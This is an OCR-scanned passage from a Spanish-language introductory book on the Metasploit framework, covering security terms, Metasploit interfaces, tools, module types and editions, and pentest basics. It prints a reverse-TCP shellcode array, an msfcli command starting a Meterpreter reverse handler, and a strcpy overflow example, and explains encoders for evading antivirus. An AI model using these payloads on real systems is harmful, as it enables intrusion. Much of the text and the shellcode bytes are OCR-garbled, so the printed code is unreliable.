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Introduccion

Introduccion

El presente libro tiene. como objetivo proporcionar una vision global sobre el framework de

. pentesting conocido como Metasploit. Esta herramienta dispone de gran cantidad de funcionalidades

fas cuales son muy utilizadas en el dia a dia por los auditores de seguridad para llevar a cabo sus
test de infrusion. Es esta variedad una de Jas principales caracteristicas importantes que proporcions
Metasploit dando al usuario el poder para utilizar exploits de calidad comercial, pero ademas toda
una infraestructura para realizar otras necesidades del auditor como puéden ser la recoleccion de
informacion, escaneos en busca de vulnerabilidades, la post-explotacion, la antomatizacion de lus
tareas de audiloria o la generacién de sus propios exploils.

La seguridad es una de las ramas de la informétiea que mas rapido avanza, y es por ello que se
debe estar bien informado de {as vulnerabilidades que salen diariamente, por ejemplo, mediante

. el uso de listas de seguridad. Imaginese llegando a una empresa la cual debe ser audilada, ya sea

caja blanca o negra, y debe enfrentarse a una gran cantidad de equipos, los cuales seran puestos a
prueba por su téenica y destreza en el arte de la intrusion. Las herramientas con las que cuenla es un
factor indispensable para que la auditoria llegue a buen puerto, pero ademis, debe disponer de los
conocimientos para poder ejecutar dichas herramientas con coherencia. Una cosa debe prevalecer y
es que el auditor debe realizar una serie de fases previas antes de lanzar sus herramientas sobre los
sistemas, ; Metasploif engloba el proceso completo? Logicamente no., pero se esludiard como este

framework puede realizar fases previas a la explotacion del sistema, lo que signilica que Metasploit

no es solo explotacion.

Imaginese que sigue en fa empresa objeto de la auditoria de seguridad, y tras marcarse unos objetivos,
decide emprender el proceso de recoleccion de informacién. Este proceso puede devolver desde *
gran cantidad de datos relevantes sobre la empresa objeto, o una minima informacion apa renlemente
no muy relevante. Tras el analisis de esta informacion observa que existen maquinas o sisiemas que
pueden enconlrarse en riesgo, ya que no disponen de ciertas actualizaciones en algunas aplicaciones
o en el sistema operativo. Decide lanzar el escaneo de vulnerabilidades, con la informacion recogida
anteriormente, que tras un analisis exhaustivo han aportado datos inleresantes. Tras el escaneo se
ha confirmado que los sistemas son vulnerables, ahora tiene esa sensacion de que esta cerca de
conseguir uno de los grandes objetivos que es lograr enlrar en el sistema y demostrar a quién le
contratd que sus sistemas no eran todo lo seguro que €l, en principio, pensaba.

Se encuentra cerca del éxtasis, la intrusion en el sistema ajeno, el sisterma prohibido, su reto, su meta.
Conoce el punto débil del sistema y dispone de las herramientas y conocimientos para entrar en él.
Es la hora de lanzar el exploit, ese pequefio cddigo que te hace restar un objetivo en tu lista inicial.
Tras la ejecucion del exploit, dispone de una shell o, en el mejor de los casos, un meferprefer, el cual
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ie proporciona un gran abanico de funcionalidades para realizar sobre la méquina vulnerada. Ha
legado al simmum, pero por qué parar aqui? Dispone de una maquina para poder acceder a otras,
vy conseguir lograr mds objetivos.

Ahora, tiene un equipo sobre el que poder elevar privilegios, obtener otras cuentas, poder ilegar a
fugares donde antes no podia llegar, v en definitiva seguir husmeando en esa gran red interna que
dispone fa empresa objelo. Puede hacerse pasar por ofros usuarios, acceder a recursos compartidos,
puede haberse convertido en ef nuevo roof de la empresa. La post-explotacién s un proceso que le
ha avudado a sentirse como en casa en un lugar tan extrafio y ajeno ai anditor. Pero todo toca a su fin,
su jornada taboral iermina y debe preparar ei informe con todo fo que ha hecho y ha conseguido en
el dia de hoy. Una parte muy necesaria, ya que debe informar de dénde estan ios fallos de seguridad
v dar su recomendacion para que puedan ser evitados en un futuro préximo.

B Tibro presenta Ia exposicion de ideas claras y de manera sencilla, mediante el uso de ejemplos
practicos, sobre Metasploit framework, sin dejar al margen el entorno sobre ¢l que Metasploit se
ejecula que es el test de intrusion. Hoy en dia, los auditores no conocen ¢i enorme potencial que
aporta el framework, o simplemente no disponen de los conocimientos técnicos para obtener el
mdximo potencial a esta herramienta. Es por ello que es desee del autor que tras la lectura de
este Hbro. el auditor encuenire en Metasploit su navaja suiza, siempre complementada con otras
herrarmientas, para si proceso de auditoria de seguridad.

Capitilo I. Conceptos basicos ‘ , ﬂ

VCapitulo |
- Conceptos basicos

i. Definiciones

Sies la primera vez que usa Metasploit debe conocer de qué consta este Jramework antes de poder
trabajar con ¢l. Metaspioit puede ser tachado como un entorno de dificil manejo y configuracién
pero a través de las hojas de este libro podré descubrir que en la mayorfa de los casos es de sencillo
manejo y muy flexible. Las definiciones que se exponen a continuacién le ayudan a distingyir
distintas herramientas que componen el framework, hay que tener en cuenta que éste se actualiza en
pequefios perfodes de tiempo y se implementan nuevas herramientas que se indroducen en éi,

A continuacién se exponen términos que se pueden encontrar en el dia a dia de un auditor,
lo cual aporta una base pata. saber qué conceplos se estéan tratando. Ademaés, se especifican las
vulnerabilidades mas destacadas y definiciones propias del entorno de Metasploit. ‘

Software fiable vs Software seguro

El software fiable cs aquel que hace lo que se supone que debe hacer. El software seguro es aquel
que hace lo que se supone que debe hacer y nada més. Son los ocasionales y sorprendentes “algo
mas” los que producen inseguridad en un sistema. La solucién ideal es utilizar software seguro
siempre, pero el mundo real no es el ideal, por lo que se deben reafizar ciertas acciones para mitigar
ese “algo mas™ que puede realizar cierto sofiware.

Elsoftware es desarrollado por seres humanos per lo que es imperfecto por naturaleza, son esos fallog
de programacion los que en muchas ocasiones provocan que el software disponga implicitamente de
vulnerabilidades. Si un atacante detecta esa vulnerabilidad puede disponer de una puerta de acceso
al sistema en el mejor de los casos. ‘

Bug

Un bug es el resultado de un fallo de programacién durante el proceso de creacion o desarrollo de
tas aplicactones. Este fallo puede haberse introducido en cualquiera de las etapas del ciclo de vida
de una aplicacion, aunque, por lo general ocurre en la etapa de implementacion.
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Exploit .

Exploit viene del verbo inglés to exploir, que significa explotar o aprovechar. Un exploif es un
cédigo escrito con el fin de aprovechar un error de programacion y la intencion de obtener diversos
privilegios. Un buen nimero de exploifs tienen su origen en un conjunto de fallos de programactén
similares.

Normalmente, con la ejecucion de un expfoit el atacante busca tomar el control de uha maquina de
manera ilicita, realizar una escalada de privilegios en un sistema local sobre el que no dispone de
cllos o sobre una maquina remota comprometida, o realizar un ataque de denegacién de servicio,
causando la caida de una aplicacion o un sistema, evitando el normal funcionamiento de un servicio.

Por lo general el lenguaje estrella para desarrollo un exploit es el lenguaje C. También se pueden
tealizar exploils en otros lenguajes como Ruby, Java o Python, pero como se ha indicado
anteriormente lo normal es la escritura de éstos en C.

Algunos de los grupos de vulnerabilidades méas conocidos son:

- Vulnerabilidades de desbordamiento de buffer.

- Vulnerabilidades de error de formato de cadena o format string bugs.
- Vulnerabilidades de Cross Site Scripting, XSS.

-~ Vulnerabilidades de SQL Injection.

Payload .

Es fa parte del codigo de un exploif que tiene como objetivo ejecutarse en la maquina victima para
realizar la accion maliciosa. La manera optima para entender el significado de payload es mediante
el uso de ejemplos. Un payload puede ser el codigo que se inyecta en una maquina a través de
un exploit, y el cual permite al alacante ejecutar codigo en la maquina remota. Ese codigo puede
ser el que implemente una shell inversa, es decir, la miquina victima lanzard una conexion hacia
la maquina del atacante devolviéndole una linea de comandos para que pueda interactuar con la
maquina vulnerada,

Otro ejemplo de payload puede ser una bind shell, es decir, una vez se ha introducido el codigo a
ejecutar en la maquina remota éste deja a la escucha en un puerto de ia maquina una shell. El atacante
se conectard a dicho puerto mediante conexidn directa y dispondré de acceso y ciertos privilegios.

Ua payload también puede ser, simplemente, conseguir ejecutar en la maquina remota una-secuencia
de comandos sobre la maquina victima. Por ejemplo, para realizar una denegacién de servicio sobre
una aplicacién en una maquina vulnerable.

Shellcode

Es un conjunto de instrucciones usadas como un payload cuando se produce el proceso de explotacion
del sistema. La shellcode son érdenes, generalmente, escritas en lenguaje ensamblador. Para generar
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este tipo de cddigo, normalmente, se utiliza un lenguaje de mayor nivel como puede ser C. Después,
este codigo al ser compilado, genera el cddigo de méquina resultante, el cual es denominado opcode.

Las shellcodes deben ser de tamafio pequefio para poder ser inyectadas dentro de la pila de
la aplicacién, que es generalmente un espacio reducido. Es muy comun, que en el proceso de
compilacion de la shéllcode se generen los llamados bytes nulos, los cuales provocan la [rénada
de la ejecucidn del codigo de ésta. El usuario que genere el cGdigo debe tener en cuenla esto, y
debe encargarse de remplazar las instrucciones que generan estos byfes nulos por otras que no Jos
produzcan, o realizando una operacion XOR, y de ésta forma conseguir que la shellcode se ejecule

. sin problemas.

/*

* windows/shell/reverse_tcp - 298 bytes (stage 1)

* hitp://wwe.metasploit.com

* LHOST=192.168.1.1, LPORT=4444, ReverseConnectRetries=5,

* EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=

*/
unsigned char buff] =

"\ xfcixeB\x89\ xBO\XBO\ BB\ x6BAXBI\ x5\ X3 1\ xd2\ 64\ xBb\Xx52\x 30"
"\xBbAX52\X08C\XBEAXS 2\ X 14\ XBDAXT A X 2B\ XA T\ xb7\ X4a\X26\ X3\ X F "
"\x31\xeB\XxacAXIC\XBI\XTCAXA2\X2c\x20\xc1\XcT\xBd\XxO1\XCT\xe2"
Ak FO\XS2\X57\x8b\x52\X16\x8b\x42\x3c\x81\xd8\x8b\ x40\ 781 x85"
“\XCB\X 74\ x4\ 01\ xdB\ x50\ 8D\ x48\ X 18\ xBb\ x58\x20\x8 1\ xd3\xe3"
"\x3c\ x40\ x8b\x34\xBb\ 81\ xd6\x3 1\ xF fAx31\ xcO\xac\xc1\xc F\x0d"
AXBI\XCT\x38\xe0\x75\xF§\ 03\ x7d\x FB\x3b\ x7d\ x24\x75\xe2\x58"
Y\x8h\X58\ %24\ xB1\xd3\x66\x8b\x8C\x4h\ xBb\x58\x1c\x01\xd3\x8b"
Yy XB4\xBD\XQ1\XdA\XBI\ X4\ x24\X24\ xS BAXTD\ X6 1\ X5\ X5\ x5 1\ xf*
"\xeB\x58\x5F\x5a\x8b\x12\ xeb\x86\x5d\ X684 X33\ x32\ X080\ X060\ 68"
"\XTIAXT3\ %32\ x5\ x54\x68\x4c\x77\x26\x0 7\ x{f\xd5\xb8\x30\x61"
“\x8B\x88\X22\ 54\ x54\x50\x58\x29\ x88\x6b\ x0@\x T\ xd5\x58\x58"
"\x58\x58\x49\ x50\ x48\ x50\ x68\xea\xBF\xdf\xed\xFF\xd5\x97\x6a"
YAXB5\X68\XcO\xa8\x01\x01\XG8\x02\ X060\ X1 1\ x5C\xBI\xeb\xba\x10"
"\X56\XST\XB68\X99 4 xa5\XTAXE 1\ f FAxd5 \XB5\XCO\XTA\xOC\X T F\xde"
“\XBB\x75\xec\x68\xFB\xb5\xa2\x56\xf f\xd5\x6a\xB0\x6a\x84\x56"
"\X57\x68\x02\ xdH\xcB\XG F\xf Fixd5\x8b\x36\ x52\ x40\ x68\x80\X10"
*\x08\x88\x56\ x6a\x88\xE68\x58\Xxa4\x53\xe5\xFF\xd3\x33\x53\xb6a"
"\ XE0\XF6\XEI\X57\ 68\ X02\ xd G\ xcBA\XS FAXF F\Xd5\ X8 1\ xC3\x29\xcb"
"\XB5\XT6\X75\xec\xc3";

Fig 1.01: Shellcode generada con Msfpayload.

0-day exploit _ '

Un 0-day exploit es una de las caracteristicas mas-peligrosas en el &mbito de la seguridad informatica.
Un exploit de dia cero, o 0-day exploit, es un cddigo malicioso que permitiré a un alacanle obtener
¢l control remoto de un sistema. Como particularidad hay que recalcar que la vulnerabilidad de la
que se aprovecha este exploit es desconocida por los usuarios y el fabricante del producto. Es este
hecho el que hace un 0-day exploit como un instrumento muy peligroso en una guerra informatica.

Este tipo de exploits disponen de una ventana temporal existente entre el tiempo en el que se publica
la amenaza o exploil y el tiempo en el que aparecen los codigos que corrigen dicha vulnerabilidad,
En general, los parches o actualizaciones son desarrollados por los responsables de la aplicacion.
Es importante que las empresas dispongan de planes de actuacién ante estos hechos, ya que sus
sistemas pueden quedar expuestos a las amenazas desconocidas.
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Buffer Overflow

Esta vulnerabilidad, bastante comiin y con mucha historia en la informatica, ocurre cuando una
aplicacion no comprueba correctamente el nlimero de byfes que son almacenados en una direccion
de memoria, o buffer, previamente reservada. De este modo, la cantidad de byfes que se van a
almacenar son superiores a la cantidad reservada para tal fin.

Para que se pueda entender mejor se propone el siguiente cadigo en lenguaje C. Bl codigo muestra
como se copiara el primer argumento que se le pasa a la aplicacion argv/1] a un buffer reservado
y estélico con 10 hytes de lipo char. No existe ninguna comprobacion de que la cadena que se
pasa al programa mediante la variable argv//{ sea igual o inferior a 10 caracteres. §Es este codigo
vulnerable?

f include ~stdio.h>

nlowain (int arge, char **argv)

{

char buf[10];

printf (“holamundo”) ;

strepy (buf, argv([1])

return O

}

Bste programa no limita la cantidad de byfes que se intentardn almacenar en la memoria reservada
para el buffer, por lo que se podra escribir fuera de éste. Al escribir en las direcciones de memoria
adyacentes al huffer se podré inyectar codigo ejecutabie para conseguir ciertos privilegios sobre el
proceso y sobre la miquina objeto, o simplemente ocasionar un crash o caida de la aplicacion.

SQL Injectien

g una de las grandes vulnerabilidades informaticas de la historia. Hoy en dia, copa los primeros
puestos en nlimero de vuinerabiiidades conocidas, junto a XSS y buffer overflow. Consiste en la
inyeccion de codigo SQL en el nivel de validacion de una aplicacion que realiza consultas sobre una
base de datos. '

En ofras palabras, la aplicacion no chequea o filtra las variables utilizadas por el programa para
recibir log pardmetros y'se consigue inyectar cddigo SQL dentro del propio cédigo de la aplicacién.

Normalmente es ejecutada en aplicaciones web, con lo que se puede obtener informacién que existe
en la base de datos del sitio en cuestion. También se puede encontrar en aplicaciones de escritorio.

X855 (Cross-Site Scripting)

Es otra de las grandes vulnerabilidades de la informatica, permite a un atacante inyectar codigo en
paginas web que son visitadas por un usuario o victima. El objetivo de esta vulnerabilidad es que
una victima entre en un sitio web y la presentacion que se haga de éste se encuentre manipulada
provocanda un robo de informacién o manipulacién sobre los datos que se visualizan.
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Metasploit

Es el nombre que recibe el proyecto, open source, sobre seguridad informética. Este proyecto facilita
el trabajo al auditor proporcionando informacion sobre vulnerabilidades de seguridad, ayudando a
explotarlas en los procesos de penfesting o test de intrusidn.

Fig 1.02: Logo de Metasploit.

Ef subproyecto mas famoso del que dispone es Metasploit framework, o simplemente denominado
Metasploit. Originalmente fue desarrotlado en el lengnaje de programacion Perl, para que con el
paso del tiempo fuera escrito de nuevo bajo el lenguaje Ruby. Bste framework es un conjunto de
herramientas con las que el auditor puede desarrollar y sjecutar exploits y lanzarlos contra maquinas
para comprebar 1z seguridad de éstas. Otras de las funcionalidades' que aporta es un archivo de
shellcodes, herramientas para recolectar informacion y escanear en busca de vulnerabilidades.

‘Modulos

Meiasploit dispone de médulos los cuales ayudan a aumentar de mancra r;cnmlla las funcionalidades
del framework. Un modulo es una pieza o bloque de codigo que implementa una o varias
funcionalidades, como puede ser la ejecucion de un exploit concreto o la realizacion de un escaneo
sobre maquinas remotas. Los médulos que comporen el frameworlk son el niclee de Metasploit y
los que hacen que sea tan poderoso. Estos pueden ser desarrollados por los usuarios y de esta manera
ampliar el framework de manera personalizada, y en funcidn de las necesidades del auditor.

Interfaces Metasploit

Metasploit dispone de varias interfaces con las que interactuar con el framework. El usuario puede
interactuar mediante una interfaz grafica, linea de comandos o consola. También se dispone de la
posibilidad de acceder directamente a las funciones y médulos que componen el framework, Esta
accion puede resultar muy 1til para utilizar ciertos exploits sin necesidad de lanzar todo el entorno.’
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La primera interfaz que se presenta es msfconsole. Es el todo en uno del framework, el auditor
dispone de una consola desde la cual puede acceder a todas las opciones disponibles de Metasploit.
La consola dispone de un gran ndmero de comandos, los cuales disponen de una sintaxis sencilla

y facil de recordar.

Esta interfaz se lanza ejecutando el comando misfconsole en una terminal, si se

encuentra en Linux.

root@root: /peatest/exploits/framework3# msfconsole

ERNE IR 22 T VR T T T S 8 BB
T # 4 4 P ] * A

WO MR # R 8 MR8 R R [N A
CRN 3 # O UnRaR # R R [ B

U ¥R rE B # P
kRIS # ¥ F M 4 B S W

=| welasploit v3.7.0-velease fcore:3.7 api:l.8]

+ -- ~-=| 684 exploits - 355 auxiliary
+ -~ --m{ 217 payloads - 27 eacoders - 8 nops
st >

Fig 1.03: Consola de Metasploit framework.

La segunda interfaz que se presenta es Armitage. Esta interfaz proporciona un entorno grafico e

intuitivo al auditor

para llevar a cabo el test de intrusién y entender el hacking de manera sencxlla

Esta interfaz se lanza ejecutando el comando armifage en una terminal.

LM TArmitage
Mew, Hosts

» @ awullary

AR ot vty
it

> (& aix

* g bsdi

+ (68 dialup

» (5 freebsd

» (& hpux

v (@ irx

» (B linux

» B mutti

> (@ netware

* (B osx

» (& solaris

4 @ unix

> ﬁ windows i !
> @ payload B T

g B
R S e R T e TR T SOt Y

» (i post

- ANeth atary ¢ 11'128 Scupe:Host
“UP-LOOPRACK -RUNNING: : HTU: 16436 Metrierl e na
~RX:-packetsi80254 errorsi0 dropped: O overrunsio framerﬂ'
™" packetsxaozsa errnrsao druppedm nverrunsao carriers

msf exbloit(msos 067 netapi) >
Fig 1.04: Interfaz grafica drmitage.

Capitulo I. Conceptos basicos

La tercera interfaz que se presenta es la web Ul de Metasploit. Con esta interfaz se puede gestionar
el test de intrusién de manera remota, sin necesidad de disponer del framework en local, pudiendo

realizar casi lodas las opciones que pueden realizarse desde la consola.

@metasplont

communlty

=tGofoHosl [ Lebte . @ Sear  Blwesn @ Hexpuse P @vodoies | gh Bruleforce @D ExpbE @ Mew Host
N

d Fosls | lﬂil"foleng-se—wiéés |[ (] vmnenapllme?"ﬁ Captured Data l -

b

Show [_100 satrles . i SR P
B - 1 Address ! Hamo o g Osteme #; Vetslnn(l Pumose,‘ services: | Vutns | | totos
1y
B wzEsiaz foxp ‘ml" serosat Wdows ) - deviee  C 2 {2
{Virtuaitiox) :

Showing 1 to $ of { eniries

. tpuated

7 maules ago

Fig 1.05: Interfaz web Metasploit.

La cuarta interfaz que se presenta es msfeli. Esta interfaz no permite la interaccidn directa, estd
pensada para automatizar la explotacion de los sistemas. Esta interfaz se lanza ejecutando el comando
msfcli, el cual dispone de un parametro en el que se indica el médulo que se requiere, mddulo exploir
o auxiliar, y opciones en funcion de lo que el auditor necesite. Més adelante se especificard en mayor

delalle esta herramienta.

root@roat: /pentest/exploits/frameworkd# msfcli exploit/multi/handler payload=win
dows/meterpreter/reverse_tcp lhost=192.168.1.40 1port-4444 E .
[*] Please wait while we load the module tree.. -

i o
[ IS PER B e
RV V2R B VA I AR ARV VAL VAR A B
I I AN A WAV A SV AR VAN N 2 T AN AR WA W
I3
Al
={ metasploit v3.7.9-release [core:3.7 api:1.6}

+ -- --=[ 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8§ nops

payload => windows/meterpreter/reverse_tcp
lhost => 192.168.1.48

port => 4444

{*] Started reverse handler on 192,168.1.40:4444

+] Starting the payload handler...

Fig 1.06: Interfaz msfcli.

‘Herramientas del framework

Se disponen de ciertas herramientas que dan acceso directo al auditor para trabajar con {uncionalidades
especificas del framework. Estas herramientas pueden ser utilizadas en situaciones especificas por
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parte del usuario, sin necesidad de lanzar la consola y cargar el entorno al completo. Se pretende da
aconocer y definir dichas herramientas, explicdndose con mayor detalle més adelante

Mstpayload ,

s una herramienta orientada a todo lo relacionado con el dmbito de las shellcodes. Msfpayload
es capaz de generar shellcodes para distintos lenguajes de programacion, ejecutables que inyecten
el codigo malicioso en la maquina victima tras su ejecucion, listar las shellcodes disponibles en
Metuasploit, son sus principales funcionalidades. Normalmente, se utiliza para generar el codigo
que se ulilizara con un exploi que no se encuentre en el framework, pero también puede ayudar ai
auditor para probar los diferentes tipos shellcodes.

Msfencode

lista herramienia se encarga de dificultar a los sistemas de intrusion, 1DS, e infeccion, antivirus, ia
deteccion del payload. Ademas, permite eliminar los byfes nulos que se generan en la creacion de
una shellcode. | Iin qué se basa msfencode? Se dispone de una serie de encoders o codificadores para
ofuscar de alglin modu estos payloads con los objetivos nombrados antericrmente.

Esta herramienta es interesante cuando se dispone de un payload generado con msfpayload, cl
cual puede disponer de byfes nulos, x00, xff. Ademds, la codificacion del codigo es practicamente
obiigatoria si se requiere que ese ejecutable llegue a una maquina con aplicaciones de proteccion.

msivenom .

Lsta herramienta unifica las aplicaciones msfencode y msfpayload. Su principal ventaja es disponer
de ambos comandosen una sola instancia y un incremento de velocidad cn Ja gencracion de las
acciones. Simplemente, se puede tratar dicha herramienta como una ayuda al audilor para disponer
de todo lo necesario para generar los payloads y codificarlos o cifrarlos desde una misma herramienta
sin necesidad de utilizar formatos intermedios.

Mslpescan y msfelfsca

La herramienta mefpescan |)euml escanear ficheros ejecutables o DLLs de Windews para encontrar
instrucciones de codigo méquina sobre una imagen basada en memoria. Por otre iado la herramienta
misfelfscan periite realizar las mismas tareas pero sobre las aplicaciones BLF en sistemas operativos
Linitx

Mslrop

Hoy en dia los desarrolladores de exploits se encuentran con DEP(Data Execution Prevention,
habilitado por defecto en los sistemas operativos mas nuevos. DEP previene la sjecucién de
shellcode en la zona de memoria denominada como pila. En este punto los desarrolladores se vieron
obligados a buscar como voltear esta mitigacién, desarrollando la llamada ROP(Return-oriented
programming). El payload ROP se crea utilizando conjuntos de instrucciones ya existentes en
binarios en modo no ASLR (Address Space Layout Randomization), y de este modo conseguir que
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el shellcode sea ejecutable. Cada conjunto conseguido debe acab'lr con la instruccion RETN para
continuar con la cadena ROP. Se puede encontrar que, este tipo de conjuntos se llaman gadgers.

i.a herramienta msfrop realiza un analisis sobre el binario que se le p pasa y tras ¢l procedimiento
devolvera los gadgets utilizables. .
Msfd

Esta herramienta proporciona un demonio o servicio de Metasploit el cual genera un fistener en un
puerto. Los clientes podrén conectar con este servicio y disponer de su propia interfaz de consola,

hay que tener en cuenta que todos los clientes utilizan la misma instancia del framework.

Los clientes suelen conectarse a través de la famosa herramienta nefeat, indicando la direccian 1P v
el puerto. Este servicio da flexibilidad y fa posibilidad de utilizar el framework en remoto con todas
las funcionalidades disponibles en local.

Arquitectura de Metasploit

En la imagen se puede visualizar la arquitectura de la que estd compuesta Mefasploit. En ella se
pueden observar 3 librerias criticas como son rex, msf core y msf base, las distintas interfaces ya
explicadas en este libro y los 6 tipos de mddulos que se dispone en ¢l framework. Las herramientas
MSF y los plugins externos también se especifican y se puede visvalizar con que librerfa interactian
directamente,

g 1.07: Arquitectura de Meta.rploii.'

La libreria rex es la bisica y se encarga de la mayona de las tareas, manejando sockels, protocolos,
por ejemplo, SSL, SMB, HTTP, y otras operaciones interesantes como son las codificaciones, por
ejemplo, XOR, Base64 o Unicode.
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Las librerias msfcore y msf base proporcionan APls al framework. Las interfaces, modulos y plugins
interactian con la API base y core que se encuentra en ambas librerias, Con este esquema se puede
entender que las librerias son el nuacleo del framework y que todos los elementos de alrededor
dependen de éstas. Ruby es el lenguaje encargado de implementar el niicleo de Metasploit.

\

Tipos de modulos en Metasploit framework

Los modulos implementan las funcionalidades del framework, Exislen 6 categorias, a dia de hoy,
aunque en muchos libros y sitios web de Internet se especifican 5 calegorias, ya que no se considera
el madulo de post-explotacién como uno independiente.

roet@root: /pentest/exploits/framework3/modules# s

auxiliary encoders exploits modules.rb.ts.rb nops payloads post
raot@root: /pentest/exploits/ framework3d/modutes# s auxiliary/

admin  crawler fuzzers pdf server  speof woip

client dos gather scanner sniffer sqgli
root@root:/pentest/exploits/framework3/modules# s encoders/

cmd  encoder test.rb.ut.rb generic mipsbe mipsle php ppc sparc x64 x86
root@root: /pentest/exploits/framework3d/modules# s exploits/

aix dialup hpux linux netware solaris windows

bsdi freebsd irix multi osx unix

rout@root: /pentest/exploits/ framework3/modules# s nops/

armle nop_test.rb.ut.rb php ppc sparc tty x64 x86

root@root: /pentest/exploits/framevork3/modutes# s payloads/

singles stagers stages
root@root:/pentest/exploits/frameworkd/modules# 1s post/

multi osx windows

root@roat: /pentest/exploits/framevorks/modules#

Fig 1.08: Modulos de Metasploit.

A continuacion se especifican los objetivos de los distintos modulos que componen el entorno. Hay
que destacar que estos mddulos son totalmente escalables facilmente.

El médulo auxiliary proporciona herramientas externas al framework para la integracion y utilizacion
con Metasploit. De este modo el auditor puede utilizar escineres, herramientas para denegacion de
servicio, sniffers, fuzzers, etc. En la imagen anterior se puede visualizar todas las posibilidades que
ofrecen este tipo de médulos.

El médulo encoders proporciona codificadores para ofuscar el codigo de las shellcodes y de este
modo evitar que los sistemas antivirus puedan delectar el payload. En la imagen se puede visualizar
las distintas categorias para los encoders, las més comunes son para arquitecturas x86 y x64.

El médulo exploits es, quizé, el mas vistoso de todos, en él se encuentran los exploits alojados. Se
organizan mediante categorias, por sistema operativo o tecnologia. Mas adelante en el libro se vera
en profundidad distintos ataques y exploits utilizados durante un test de intrusion.

Elmodulo de payloads concentra los distintos codigos maliciosos ordenados también por calegorias.’

En este caso, las calegorias son singles, stagers, stages, y como subcategorias se organizan por
payloads para distintas tecnologias o sistemas operativos.
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El médulo de post almacena en su interior codigo para ejecutar acciones referidas a la fase de post-
explotacién como son la escalada de privilegios, la impersonalizacion de fokens, captura de pruebas
sobre la mdquina remota, etc. También se organiza por categorias, como puede ser por sistema
operativo.

El' médulo de nops contiene codigo capaz de generar instrucciones NOP para los cddigos maliciosos.
No existen gran cantidad de aplicaciones de-este tipo en el modulo de nops. Estan organizados por
arquitectura y lo mas normal es utilizarlo para maquinas x86 o x64,

2. Versiones de Metasploit

Metasploit dispone de 3 versiones distintas y claramente diferenciadas en el mercado de la seguridad
informética. Las 3 versiones estan disponibles a través del sitio web oficial htp./fwww.metasploit,
comy disponen de distintas caracteristicas y precios. Por otro lado en el sitio web definen a Merasploit
Jramework como la base de eslas versiones, por lo que se puede ver como que todas disponen del
Jframework como base.

Anteriormente, se ha explicado que el proyecto es open source y como tal, se dispone de una primera
version denominada Metasploit Community Edition. Esta edicion estd disponible para su descarga
gratuita para sistemas operativos Microsofi Windows y Linux. Normalmente, los usuarios utilizan
distribuciones Linux ddnde ya se encuentra instalada, dichas distribuciones estdn orientadas a la
auditoria de seguridad informética. . En Windows es tolalmente funcional, por lo que también se
recomiendan las pruebas en estos sistemas operativos, pero en este libro.se ha utilizado, generalmente,
la distribucion BackTrack.

En esta web se dispone de las otras 2 versiones de Metasploit las cuales ya son de pago. Se dispone
de Metasploit Pro 'y Metasploit Express que incorporan un mayor nimero de funcionalidades.
También se dispone de distintas versiones en funcién del sistema operalivo,

Metasploit Community Edition

Esta edicién dispone de una gestion muy sencilla para la realizacion de las pruebas de intrusion en
los sistemas. En esta edicion se dispone de las siguientes caracteristicas:

- Una interfaz grafica intuitiva y limpia hace que sea mucho mds sencillo comenzar cot el:
proceso de verificacion de las vulnerabilidades. '

- Identificacion de equipos en una red, puertos abiertos y fingerprint del sistema aperativ
y servicios, :

SESED

iy , - i it de los datos
- Integracion con escaneres de vulnerabilidades. Importacién a Mefasploit de IQS a8

obtenidos con las herramientas de escaneo como son nmap y nessus, entre otros.
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- Base de datos de exploifs, una de las mas grandes a nivel mundial, para garantizar el éxito como curiosidad se enuncia laevaluacion de las redes IPv6, asegurando que la red estd a salvo de los
cn el proceso de intrusion. Cada médulo dispone de un ranking que indica la tasa de éxito y ) . ataques en redes IPv6, incluso si la red implementada en el entorno empresarial sea una red IPvd,

el impacto de éste en el sistema.

; : Para mayor informacion sobre caracteristicas en todas las versiones se puede consultar a siguiente
- Verificacién sobre la posible explotacién de una vulnerabilidad. Metasploit puede i

verificar si una vulnerabilidad es explotable o no, sin necesidad de probar a lanzar el ataque. direccion URL hitp://wiww.rapid7.com/prodicis/pencration-testing.jsp. '
L:sto aumenta la productividad y reduce el coste, ayudando ademis a prevenir la violacién dc

dalos internos de los sistemas.

- Explotacién en vivo y real de los activos de la empresa. En la mayoria de las ocasiones 3. El test de isntrusion o pentest

demostrar que una vulnerabilidad es crilica para fa empresa puede ayudar a convencer a los

propietarios de dichos activos. En este libro se ha mencionado en diversas ocasiones la palabra pentest, fest de intrusion o

penetration fest, pero jqué es realmente esto? ;En qué 4mbito se estd hablando? ;Qué fases dispone
un test de intrusion? jArte o procedimiento? Estas preguntas, en algunas ocasiones, no son faciles
de responder ya que pueden depender de diversos factores.

- Eluso de esta versién es gratuita, incluso para las empresas, una solucion ideal para
presupuestos ajustados,

F‘i.«’éetaspl{ait Pro Un test de intrusion es un método que evaliia el nivel de seguridad de una red de equipos o sistemas
informticos. Se realizard una simulacién de un posible ataque informético con fines maliciosos,
tanto desde dentio de la organizacion objeto, (los cuales pueden disponer de un cierto nivel de
acceso a los sistemas), como desde fuera de la organizacion, (sin disponer de ningiin tipo de acceso

Hn esta edicion se dispone de varias funcionalidades extra, ademds de las que se han visto en la
version Community Edition. A continuacién se exponen las funcionalidades adicionales que ofrece:

- Auditoria de contrasefias. Se pueden identificar patrones de contrasefias débiles, las | : autorizado a los sistemas). El rol que se dispone desde dentro de la organizacion es la de un miembro
cuales pucden ser vuineradas mediante ataques de fuerza bruta. _ de la empresa que se encuentra descontento y de esta manera se puede simular hasta dénde podria
- Auditoria de seguridad de la infraestructura IT. Se pueden realizar pruebas de intrugion Hegar. Por otro lado el rol desde fuera la organizacién serfa la viside de un hacker sin apenas
sobre dispositivos de red, equipos de escritorio, servidores dénde se incluyen las bases deo informacién de ésta, con lo que se pretende simular hasta dénde podria legarse desde fuera.

datos de ¢stos y las aplicaciones web. Este iltimo punlo es muy interesante para la auditoria

de apicaciones web. El test de intrusion corlieva un analisis activo sobre los sistemas para encontrar informacion sobre

posibles vulnerabilidades de cualquier t tipo. Fstas vulnerabilidades podrian ser el resultado de una

Social enginecring. La ingenierfa social es una técnica potente siempre que ef auditor inala configuracion por parte del administrador, una mala implementacion de una aplicacién o un

sepa como explotaria, con ella se pone a prueba la concienciacién del personal de la empresa. fallo de seguridad en un sistema operativo o hardware. Fste andlisis es levado a cabo desde la
- Reporting. Informar a las partes interesadas, propietarios de los actives dc la empresa en posicién de un atacante, mencionado anteriormente, el cual podria realizar la explotacion de las
cuestion, es algo fundamental y una de las caracteristicas mas inleresantes. _ vulnerabilidades de seguridad encontradas.

